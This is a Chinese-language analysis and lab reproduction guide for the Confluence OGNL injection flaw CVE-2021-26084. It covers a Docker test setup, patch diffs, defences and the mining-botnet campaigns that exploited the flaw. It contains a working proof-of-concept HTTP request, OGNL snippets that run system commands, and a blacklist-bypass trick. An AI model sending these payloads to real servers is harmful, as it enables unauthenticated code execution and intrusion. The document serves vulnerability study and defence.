从挖矿木马事件到Confluence 远程代码执行漏洞(CVE-2021-26084)分析
字数 1461 2025-08-07 08:21:54
Confluence远程代码执行漏洞(CVE-2021-26084)分析与复现指南
1. 漏洞背景
CVE-2021-26084是Atlassian Confluence中的一个OGNL表达式注入漏洞,允许未经认证的攻击者在Confluence服务器上执行任意代码。该漏洞已被广泛用于传播挖矿木马等恶意软件。
2. 漏洞影响
- 影响版本:Confluence Server和Data Center的所有版本
- 漏洞类型:远程代码执行(RCE)
- CVSS评分:9.8 (Critical)
3. 漏洞复现
3.1 复现环境准备
# 拉取CentOS镜像
sudo docker pull centos
# 启动容器
sudo docker run -d -p 8090:8090 -p 5050:5050 --privileged=true --name confluence_7.12.4_privileged 5d0da3dc9764 /usr/sbin/init
# 进入容器
sudo docker exec -it [CONTAINER_ID] bash
3.2 安装依赖
# 安装JDK
yum install java-11-openjdk-devel -y
# 设置JAVA_HOME
echo 'JAVA_HOME=/usr/lib/jvm/java-11-openjdk-11.0.12.0.7-0.el8_4.x86_64' >> ~/.bashrc
source ~/.bashrc
# 安装MySQL
yum install -y mysql mysql-server
service mysqld start
# 配置MySQL
mysql -e "CREATE DATABASE confluence CHARACTER SET utf8 COLLATE utf8_bin;"
mysql -e "SET GLOBAL TRANSACTION ISOLATION LEVEL READ COMMITTED;"
3.3 安装Confluence
# 下载Confluence
wget https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-7.12.4.tar.gz
# 解压
tar -xzvf atlassian-confluence-7.12.4.tar.gz -C /opt/
# 配置
echo "confluence.home=/opt/confluence/data" >> /opt/atlassian-confluence-7.12.4/confluence/WEB-INF/classes/confluence-init.properties
# 设置调试端口
echo 'CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"' >> /opt/atlassian-confluence-7.12.4/bin/setenv.sh
# 启动Confluence
/opt/atlassian-confluence-7.12.4/bin/startup.sh
3.4 漏洞验证
发送以下HTTP请求:
POST /pages/doenterpagevariables.action HTTP/1.1
Host: [target]:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027&linkCreation=%5cu0027%2b%7b3*4%7d%2b%5cu0027
如果响应中包含计算结果(如9和12),则证明漏洞存在。
4. 漏洞分析
4.1 漏洞原理
漏洞存在于Confluence的Velocity模板中,特别是createpage-entervariables.vm文件。攻击者可以通过queryString和linkCreation参数注入OGNL表达式。
4.2 关键代码分析
漏洞点位于confluence/pages/createpage-entervariables.vm:
#tag ("Hidden" "name='queryString'" "value='$!queryString'")
#tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
当这些参数值被处理时,会经过以下调用链:
AbstractTagDirective.applyAttributes()AbstractUITag.doEndTag()AbstractUITag.evaluateParams()WebWorkTagSupport.findValue()OgnlValueFinder.findValue()Ognl.getValue()
最终导致OGNL表达式被执行。
4.3 OGNL表达式注入
OGNL (Object-Graph Navigation Language) 是一种表达式语言,具有三要素:
- expression: 表达式
- root: 根对象
- context: 上下文环境
攻击者可以利用OGNL的getValue()方法执行任意代码:
// 执行系统命令
@java.lang.Runtime@getRuntime().exec("calc")
// 或
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()
4.4 绕过技术
-
HTML实体转义绕过:
- 使用
\u0027代替单引号,避免被转义为'
- 使用
-
黑名单绕过:
- 使用数组表示法绕过类加载检查:
""["class"].forName("java.lang.Runtime") - 替代传统的:
"".getClass().forName("java.lang.Runtime")
- 使用数组表示法绕过类加载检查:
5. 官方修复
Atlassian通过以下方式修复了该漏洞:
- 移除了所有漏洞点参数中的
$符号,防止OGNL表达式计算 - 修改了以下文件:
# File 1: confluence/users/user-dark-features.vm
value='$!action.featureKey' -> value=featureKey
# File 2: confluence/login.vm
value='$!action.token' -> value=token
# File 3: confluence/pages/createpage-entervariables.vm
value='$!queryString' -> value=queryString
value='$linkCreation' -> value=linkCreation
# File 4: confluence/template/custom/content-editor.vm
移除了多个value值的$!前缀
# File 5: confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader*.jar
value='$!{action.syncRev}' -> value=syncRev
6. 防御措施
- 立即升级到最新版本的Confluence
- 如果无法立即升级,应用官方提供的补丁
- 限制对Confluence管理界面的访问
- 监控服务器上的可疑进程和网络连接
- 定期检查系统日志和Confluence日志
7. 关联威胁
该漏洞常被用于传播Sysrv-hello僵尸网络进行挖矿活动。攻击者通常会:
- 利用漏洞上传和执行恶意脚本
- 创建定时任务维持持久性
- 下载并执行挖矿程序(如kthreaddi)
8. 调试技巧
-
使用IDEA远程调试:
- 配置Remote Host为服务器IP
- Port为5050
- 将WEB-INF目录下的lib、atlassian-bundled-plugins等加入依赖库
-
关键断点位置:
OgnlValueStack.findValue()Ognl.getValue()AbstractTagDirective.applyAttributes()